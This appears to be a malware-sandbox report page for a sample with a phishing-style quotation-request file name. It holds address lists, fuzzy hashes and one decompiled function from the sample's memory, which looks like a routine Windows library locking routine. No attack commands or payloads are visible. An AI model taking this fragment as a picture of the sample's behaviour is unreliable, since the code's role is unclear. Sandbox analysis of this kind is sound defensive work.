0x00a235a1
0x00a235ae
0x00a235ae
0x00a235b3
0x00a77e27
0x00000000
0x00000000
0x00a77e2d
0x00a77e32
0x00a77e34
0x00a77e3b
0x00000000
0x00000000
0x00a77e41
0x00a77e43
0x00a77e46
0x00a77e4b
0x00a77e50
0x00000000
0x00000000
0x00a77e52
0x00a77e58
0x00a77e5b
0x00a77e64
0x00a77e66
0x00a77e66
0x00a77e73
0x00a77e96
0x00a77e96
0x00000000
0x00a77e96
0x00a77e75
0x00a77e89
0x00a77e8d
0x00000000
0x00000000
0x00a77e93
0x00000000
0x00a77e99
0x00a77e9d
0x00a77e9e
0x00a77ea1
0x00a77ea4
0x00a77ea7
0x00a77eab
0x00a77eab
0x00a235b9
0x00a235b9
0x00a235be
0x00a235c1
0x00a235c4
0x00a236a1
0x00a236a9
0x00a236b0
0x00a236bd
0x00a236c1
0x00000000
0x00000000
0x00a236c7
0x00a236da
0x00a77f34
0x00000000
0x00a77f34
0x00a236e9
0x00a236f0
0x00a236f4
0x00000000
0x00000000
0x00a236fd
0x00a23701
0x00a23745
0x00a23749
0x00000000
0x00000000
0x00a2374b
0x00a23750
0x00000000
0x00000000
0x00a2375d
0x00a2376d
0x00a23771
0x00a2377d
0x00a23792
0x00a23796
0x00000000
0x00000000
0x00a2379b
0x00a237a4
0x00a237a9
0x00a77f16
0x00a77f1f
0x00a77f1f
0x00a77f22
0x00a77f22
0x00a77f2d
0x00000000
0x00a77f2d
0x00a77f18
0x00a77f1d
0x00000000
0x00000000
0x00000000
0x00a77f1d
0x00a237a9
0x00000000
0x00a23771
0x00a23707
0x00a237e3
0x00000000
0x00000000
0x00a237e9
0x00a2370d
0x00a23722
0x00a23726
0x00a23731
0x00a2373a
0x00a2373f
0x00a77eec
0x00a77ef5
0x00a77ef5
0x00a77ef8
0x00a77ef8
0x00a77f03
0x00a77f07
0x00000000
0x00000000
0x00000000
0x00a77f0d
0x00a77eee
0x00a77ef3
0x00000000
0x00000000
0x00000000
0x00a77ef3
0x00a2373f
0x00000000
0x00a23726
0x00a235ca
0x00a235cf
0x00a235d7
0x00a235dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00a235ec
0x00a235ec
0x00a235f0
0x00a235f3
0x00a77eb2
0x00a77eb5
0x00a77eba
0x00a235ff
0x00a23601
0x00a23608
0x00a2369e
0x00a2369e
0x00000000
0x00a2369e
0x00a2360e
0x00a23610
0x00a23615
0x00a2361a
0x00000000
0x00000000
0x00a2361f
0x00a23621
0x00a23628
0x00a23636
0x00000000
0x00000000
0x00a23638
0x00a2364e
0x00a23659
0x00a23661
0x00000000
0x00000000
0x00a23668
0x00a2366b
0x00a23671
0x00a23673
0x00a23678
0x00000000
0x00000000
0x00a2367c
0x00a77ed0
0x00a77edd
0x00000000
0x00000000
0x00a77ee3
0x00a23682
0x00a23682
0x00a23685
0x00a23688
0x00a2368e
0x00a2368f
0x00a23698
0x00a77ec8
0x00000000
0x00a77ec8
0x00000000
0x00a23698
0x00a23610
0x00a77ec0
0x00a235fc
0x00a235fc
0x00000000
0x00a235fc
0x00a235f9
0x00000000
0x00a235f9
0x00a235cf
0x00a235a3
0x00a235a8
0x00a77d9f
0x00a77da3
0x00a77daa
0x00000000
0x00000000
0x00a77db0
0x00a77db3
0x00a77db8
0x00a77dbd
0x00a77dc0
0x00000000
0x00000000
0x00a77dc5
0x00a77dc8
0x00a77dcb
0x00a77dd4
0x00a77dd6
0x00a77dd6
0x00a77de5
0x00a77e08
0x00a77e08
0x00a77e0b
0x00a77de7
0x00a77de7
0x00a77dfb
0x00a77dff
0x00000000
0x00000000
0x00a77e05
0x00000000
0x00a77e05
0x00a77e0e
0x00a77e12
0x00a77e13
0x00a77e16
0x00a77e19
0x00a77e1c
0x00a77e20
0x00000000
0x00a23554
0x00a23559
0x00a23564
0x00a23568
0x00a23570
0x00a23574
0x00a237af
0x00a237af
0x00a237b4
0x00a237b6
0x00a237b6
0x00a237bb
0x00a237c0
0x00a237cf
0x00a237cf
0x00a237d4
0x00000000
0x00a237d4
0x00a2357a
0x00000000
0x00a2357a
0x00a2354e

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c2f874d3dc5b4d9421a7b36a81a3dd36c3f429a932a27a4c5ea318a08f9dc6
Instruction ID: d8e776771f318757519a9b76279731cabe331e9ec7f22af5269a6dbfa8e056ac
Opcode Fuzzy Hash: 96c2f874d3dc5b4d9421a7b36a81a3dd36c3f429a932a27a4c5ea318a08f9dc6
Instruction Fuzzy Hash: 15F16172E002299FDF29CF99D980AAEB7F6AF49710F148179E905AB341E738DD41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A420A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00A420A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0xb08714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E00A42EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E00A42EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E00A158EC(_t240);
									_t221 =  *0xb05cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0xb05cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E00A54A2C(0xb06e40, 0xa54b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E00A37D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x9f5c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E00A4F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E00A4F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E00A97016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L00A32400(_t267 + 0x20);
															}
															L00A32400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E00A42397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E00A32280(_t134, 0xb08608);
									__eflags =  *0xb06e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										L00A2FFB0(_t198, _t241, 0xb08608);
										__eflags = _t253;
										if(_t253 != 0) {
											L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0xb06e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0xb08608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E00A46B90(_t210,  &_v64);
										_t262 =  *0xb08608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E00A4E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										L00A597C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E00A5006A(0xb08608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0xb08608);
												E00A5B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0xb06904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0xb06e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								L00A2FFB0(_t198, _t240, 0xb08608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E00A500C2(0xb08608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x00a420a0
0x00a420a8
0x00a420ad
0x00a420b3
0x00a420b8
0x00a420c2
0x00a420c7
0x00a420cb
0x00a420d2
0x00a42263
0x00a42266
0x00a85836
0x00a85836
0x00000000
0x00a4226c
0x00a4226c
0x00a42270
0x00a42274
0x00a420e2
0x00a420e2
0x00a420e6
0x00a420ee
0x00a857dc
0x00a857de
0x00a857ec
0x00a857ec
0x00a857f1
0x00a857f3
0x00a857f8
0x00000000
0x00a857f8
0x00a857e0
0x00a857e4
0x00a857ea
0x00000000
0x00000000
0x00000000
0x00a857ea
0x00a420f4
0x00a420f4
0x00a420f8
0x00a420f8
0x00a420fc
0x00a42100
0x00a42106
0x00a42201
0x00a42206
0x00a4220b
0x00a4220e
0x00a422a9
0x00a422ac
0x00000000
0x00000000
0x00a422b2
0x00a422b5
0x00a85801
0x00a85806
0x00000000
0x00000000
0x00a85810
0x00a85815
0x00a85818
0x00000000
0x00000000
0x00a8581e
0x00a422bb
0x00a422bb
0x00a42218
0x00a42218
0x00a4221c
0x00a42220
0x00a42222
0x00a422c2
0x00a422c4
0x00a422dc
0x00a422dc
0x00a422e1
0x00000000
0x00000000
0x00000000
0x00a422e7
0x00a422c8
0x00a422cd
0x00a422d3
0x00a422d6
0x00a85823
0x00a85825
0x00a85827
0x00000000
0x00000000
0x00a8582d
0x00000000
0x00a8582d
0x00000000
0x00a42228
0x00a42228
0x00000000
0x00a42228
0x00a42222
0x00a42214
0x00a42214
0x00000000
0x00a42114
0x00a42114
0x00a42114
0x00a4211a
0x00a4211c
0x00a42348
0x00a4234d
0x00a85840
0x00a85845
0x00a85848
0x00a8584e
0x00a8584e
0x00a85848
0x00a42353
0x00a42355
0x00a42388
0x00a42388
0x00a42368
0x00a4236a
0x00a4236c
0x00a4238f
0x00000000
0x00a4236e
0x00a4236e
0x00a4218e
0x00a4218e
0x00a42191
0x00a42195
0x00a85a03
0x00a85a06
0x00a85a0c
0x00a85a0f
0x00a85a11
0x00a85a13
0x00a85a13
0x00a85a19
0x00a85a1f
0x00000000
0x00a4219b
0x00a4219b
0x00a421a0
0x00a42282
0x00a42284
0x00a42284
0x00a42284
0x00a42284
0x00a421a6
0x00a421a9
0x00a421ac
0x00a421ae
0x00a421b3
0x00a4228b
0x00a42290
0x00a42379
0x00a42296
0x00a42298
0x00a42298
0x00a42290
0x00a421b9
0x00a421be
0x00a422a2
0x00a422a2
0x00a421c4
0x00a421c8
0x00a421cc
0x00a421d0
0x00a421d4
0x00a421de
0x00a421e3
0x00a85a29
0x00a85a2c
0x00000000
0x00000000
0x00a85a3b
0x00000000
0x00a421e9
0x00a421e9
0x00a421e9
0x00a421ee
0x00a421f1
0x00a85a45
0x00a85a4b
0x00a85a52
0x00a85a58
0x00a85a5d
0x00a85a5f
0x00a85a71
0x00a85a61
0x00a85a6a
0x00a85a6a
0x00a85a76
0x00a85a79
0x00a85a7f
0x00a85a83
0x00a85a85
0x00a85a87
0x00a85a87
0x00a85a8c
0x00a85a91
0x00a85a97
0x00a85a9f
0x00a85aa0
0x00a85aa1
0x00a85aa6
0x00a85aab
0x00a85ab1
0x00a85ab3
0x00a85ab9
0x00a85aca
0x00a85ad4
0x00a85ad4
0x00a85ade
0x00a85ade
0x00a85aab
0x00a85a79
0x00a85a52
0x00a421f7
0x00a421f9
0x00a421fe
0x00a421fe
0x00a421e3
0x00a42195
0x00a4236c
0x00a42122
0x00a42122
0x00a42124
0x00a42231
0x00a42236
0x00a42236
0x00a42238
0x00a42238
0x00a42240
0x00a42242
0x00a42244
0x00a859fc
0x00a4218c
0x00a4218c
0x00000000
0x00a4218c
0x00a4224a
0x00a4224f
0x00a42256
0x00a42304
0x00a42309
0x00a4230f
0x00a4231e
0x00a4231e
0x00a4231e
0x00a42320
0x00a42325
0x00a4232a
0x00a4232c
0x00a4233e
0x00a4233e
0x00000000
0x00a4232c
0x00a42311
0x00a42317
0x00a4231a
0x00a4231c
0x00a42380
0x00a42380
0x00a42380
0x00a42384
0x00000000
0x00000000
0x00a42386
0x00000000
0x00a4231c
0x00a4225c
0x00a4225c
0x00000000
0x00a4225c
0x00a4212a
0x00a42134
0x00a42138
0x00a4213d
0x00a85858
0x00a85863
0x00a85863
0x00a85867
0x00a8586a
0x00000000
0x00000000
0x00a8586c
0x00a8586c
0x00a85871
0x00a85875
0x00a85877
0x00a85997
0x00a8599c
0x00a859a1
0x00a859a7
0x00a859a7
0x00000000
0x00a859a7
0x00a8587d
0x00000000
0x00a8588b
0x00a8588b
0x00a85890
0x00a85892
0x00a85894
0x00a85899
0x00a8589b
0x00a858a0
0x00a858a0
0x00a858aa
0x00a858b2
0x00a858b6
0x00a858be
0x00a858c6
0x00a858c9
0x00a8590d
0x00a85917
0x00a8591a
0x00a8591c
0x00a85920
0x00a85928
0x00a8592a
0x00a8592c
0x00a8592e
0x00a8592e
0x00a858cb
0x00a858cd
0x00a858d8
0x00a858e0
0x00a858f4
0x00a858fe
0x00a858fe
0x00a8593a
0x00a8593e
0x00a85940
0x00a85942
0x00000000
0x00a85944
0x00a85944
0x00a85949
0x00a8594e
0x00a8594e
0x00a85953
0x00a8595b
0x00a85976
0x00a85976
0x00a8597a
0x00a8597f
0x00000000
0x00000000
0x00000000
0x00000000
0x00a85981
0x00a85981
0x00a85981
0x00a85983
0x00a85988
0x00a8598d
0x00a85991
0x00a85991
0x00000000
0x00a8595d
0x00a8595d
0x00a85963
0x00a85965
0x00000000
0x00000000
0x00000000
0x00000000
0x00a85967
0x00a85967
0x00a8596b
0x00a8596d
0x00000000
0x00000000
0x00a8596f
0x00a85971
0x00a85971
0x00a85974
0x00000000
0x00000000
0x00000000
0x00a85974
0x00000000
0x00a85967
0x00a8595b
0x00a85942
0x00a85863
0x00a42143
0x00a42143
0x00a42149
0x00a4214f
0x00a422f1
0x00a422f6
0x00000000
0x00a42173
0x00a42173
0x00a4217d
0x00a42181
0x00a42186
0x00a859ae
0x00a859b2
0x00a859b5
0x00a859b7
0x00a859ba
0x00a859cd
0x00a859d1
0x00a859d5
0x00a859d9
0x00a859db
0x00000000
0x00000000
0x00a859dd
0x00a859dd
0x00a859e1
0x00a859e4
0x00a859e7
0x00a859ee
0x00a859ee
0x00a859f3
0x00a859f3
0x00000000
0x00a42186
0x00a4214f
0x00a42106
0x00a42266
0x00a420d8
0x00a420da
0x00a420e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1769629aa76e1de6f720a55dd7acb321b14e730af28901e23475b7294258b94
Instruction ID: 398f4b975730586e673286734c4293aedaa0cc29707a6d6ef9c90071b8950603
Opcode Fuzzy Hash: b1769629aa76e1de6f720a55dd7acb321b14e730af28901e23475b7294258b94
Instruction Fuzzy Hash: A3F11F39A087419FDB25DF28C84076BBBE1AFD5324F58862DF8999B290D774DC41CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B090, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: 810e540734617d646c27c89d61dcb2f5b96aa026ce706762e85578f39b586c1c
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: 02D1D235724726CBCB25CF2DE9C02AAB7B1AFA5314B28C578DC69CB246E731DC419760

Uniqueness

Uniqueness Score: -1.00%

Function 00A16800, Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e622b1e9f725f88dfe6416000519145d6db8aeb51b91d4dc6bcd45f4361d032d
Instruction ID: 623ec6f7fbbfd29a7b08ff24fc2f0753574e5ce05672607fba111b670df2bd82
Opcode Fuzzy Hash: e622b1e9f725f88dfe6416000519145d6db8aeb51b91d4dc6bcd45f4361d032d
Instruction Fuzzy Hash: 19D1DD71A042159BCB14DF68C991AFAB7F4EF48314F148269F85ADB281E734ED85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A10D20, Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 749b205ece21b856d3bbc29e79b8305179c68f062316902e3848e03e2e1898d5
Instruction ID: b1fae127642b87fd03b8459178c6edda11203527f0e4887d88088d2e4f645cd9
Opcode Fuzzy Hash: 749b205ece21b856d3bbc29e79b8305179c68f062316902e3848e03e2e1898d5
Instruction Fuzzy Hash: 72D1AF31E042598BDF28CF9AC595BFDBBB1FB54301F248529D546AB285D7B88DC2CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00A465A0, Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 972db812636793be7d0c0ecc686c9097866ad9b0db0566d2447154d37719feb3
Instruction ID: 1b6aea0be6c7346222408a916e4f2a6633bc9ada8495d2d596402680368a760a
Opcode Fuzzy Hash: 972db812636793be7d0c0ecc686c9097866ad9b0db0566d2447154d37719feb3
Instruction Fuzzy Hash: 6BE17F75A04205CFCB18CF59C880AADB7F1FF99310F288169E955EB391D734EA85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D5E0, Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7dd48455b8eaa954314e39ca6ae5c9fd8f195ec059f499aeeca318b58384b5a
Instruction ID: ae944905a40b744bbf30b7f00fa6c50f13eb3165d02ea691eb7dfec469570160
Opcode Fuzzy Hash: b7dd48455b8eaa954314e39ca6ae5c9fd8f195ec059f499aeeca318b58384b5a
Instruction Fuzzy Hash: 04E1D370A00369CFDB24DF28DD94BA9B7B2BF45304F1481B9E8099B292DB34AD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00A13ACA, Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10aee043e7d57ff5008cc223a2b93e4e7d54fd91a2ba9346fb6a8d2cc1f2da0e
Instruction ID: eb430566b8aaf2c5baa198e426294c1b59bd69b9396d3b42c15fbc048c419035
Opcode Fuzzy Hash: 10aee043e7d57ff5008cc223a2b93e4e7d54fd91a2ba9346fb6a8d2cc1f2da0e
Instruction Fuzzy Hash: 5FE1DF72E00618DFCF25CFA9D984A9DBBF1BF48310F20856AE546A7261D771AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00A188E0, Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
